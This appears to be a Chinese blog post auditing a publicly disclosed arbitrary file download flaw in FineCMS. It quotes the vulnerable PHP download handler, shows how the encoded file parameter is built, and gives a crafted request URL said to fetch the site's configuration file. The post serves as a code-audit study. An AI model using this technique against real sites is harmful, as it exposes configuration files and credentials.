zoukankan      html  css  js  c++  java
  • 代码审计之Finecms任意文件下载漏洞

    PS:该漏洞已被公布,只是学习。故自己跟着大佬的步伐审计。

    文件地址:controllersApiController.php Line 57

        public function downAction() {
            $data = fn_authcode(base64_decode($this->get('file')), 'DECODE');
            $file = isset($data['finecms']) && $data['finecms'] ? $data['finecms'] : '';
            if (empty($file)) {
                $this->msg(lang('a-mod-213'));//该方法可以不管。
            }
            if (strpos($file, ':/')) {//查找:/第一次出现的位置,如果有就执行header否则...
                //远程
                header("Location: $file");
            } else {
                //本地
                $file = str_replace('..', '', $file);//将变量file里的..替换为空
                $file = strpos($file, '/') === 0 ? APP_ROOT.$file : $file;//找$file出现在第一位,则返回根路径+$file
                if (!is_file($file)) {
                    $this->msg(lang('a-mod-214') . '(#' . $file . ')');
                };
                header('Pragma: public');
                header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');
                header('Cache-Control: no-store, no-cache, must-revalidate');
                header('Cache-Control: pre-check=0, post-check=0, max-age=0');
                header('Content-Transfer-Encoding: binary');
                header('Content-Encoding: none');
                header('Content-type: ' . strtolower(trim(substr(strrchr($file, '.'), 1, 10))));//strchr是从首个出现.的地方开始截断。strolower转换为小写。
                header('Content-Disposition: attachment; filename="' . basename($file) . '"');
                header('Content-length: ' . sprintf("%u", filesize($file)));//springtf:把%号替换成一个作为参数,进行传递的变量。
                readfile($file);
                exit;
            }
        }
    

    从这个函数当中可以看出$file是可控的一个变量。

    然后就需要研究下载得链接地址是如何来得。

    我去测试的时候发现,需要注册了用户才可以下载。然后得到下面这个下载得url:

    如下图:

     

    以下这个url就是上面提示得这个url:

    http://127.0.0.1/1/index.php?c=api&a=down&file=M2ZiZjF2YktnL2RDS2lEWlNybHdkSU1ITnhpSkdtM1BQU01HYXRiSjJvYUFMbmtkejBOc0pVYkt1RlFYa0FGQW9JMjBseFBMQnFmT2xyRXN3bXMva1NpQ3YzK0dja1pWM285cVkrRmFUTFNqTWlseVg1VQ

    由此锁定downfile函数。

    文件地址:extensions/function.php

    function downfile($url) {
    	return url('api/down', array('file' => str_replace('=', '', base64_encode(fn_authcode(array('finecms' => $url), 'ENCODE')))));
    }
    

    $url这个参数作为路劲。

    然后我们可以那么做。本地自己构造这个函数去。

    我直接在index.php页面执行了这个函数:

    然后在网站的底部就直接生成了下载的URL:

    如果是要下载配置文件的话就是:

    index.php?c=api&a=down&file=YzlhOENnNWhPclk2cDZuMGxkZWNrcVFvSWRiNjFlME1QLzFkdTMwekRSeDdYL0lPdXU1Sm04RzgzY2UwSVRucnplR1NQZnc1dFBZNitOemlvK2F5LzNZNjlGcHJkNWJGVEE

  • 相关阅读:
    C# 中使用反射的优缺点
    winfrom---Window 消息大全
    Entity Framework:三种开发模式实现数据访问
    asp.net Core 2.0 MVC为Controller或Action添加定制特性实现登录验证
    [十二省联考2019] 异或粽子 解题报告 (可持久化Trie+堆)
    [jzoj 3175] 数树数 解题报告 (树链剖分)
    [jzoj 5661] 药香沁鼻 解题报告 (DP+dfs序)
    [jzoj 5662] 尺树寸泓 解题报告 (线段树+中序遍历)
    [jzoj 5664] [GDOI2018Day1模拟4.6] 凫趋雀跃 解题报告(容斥原理)
    范德蒙恒等式学习笔记
  • 原文地址:https://www.cnblogs.com/xishaonian/p/6777611.html
Copyright © 2011-2022 走看看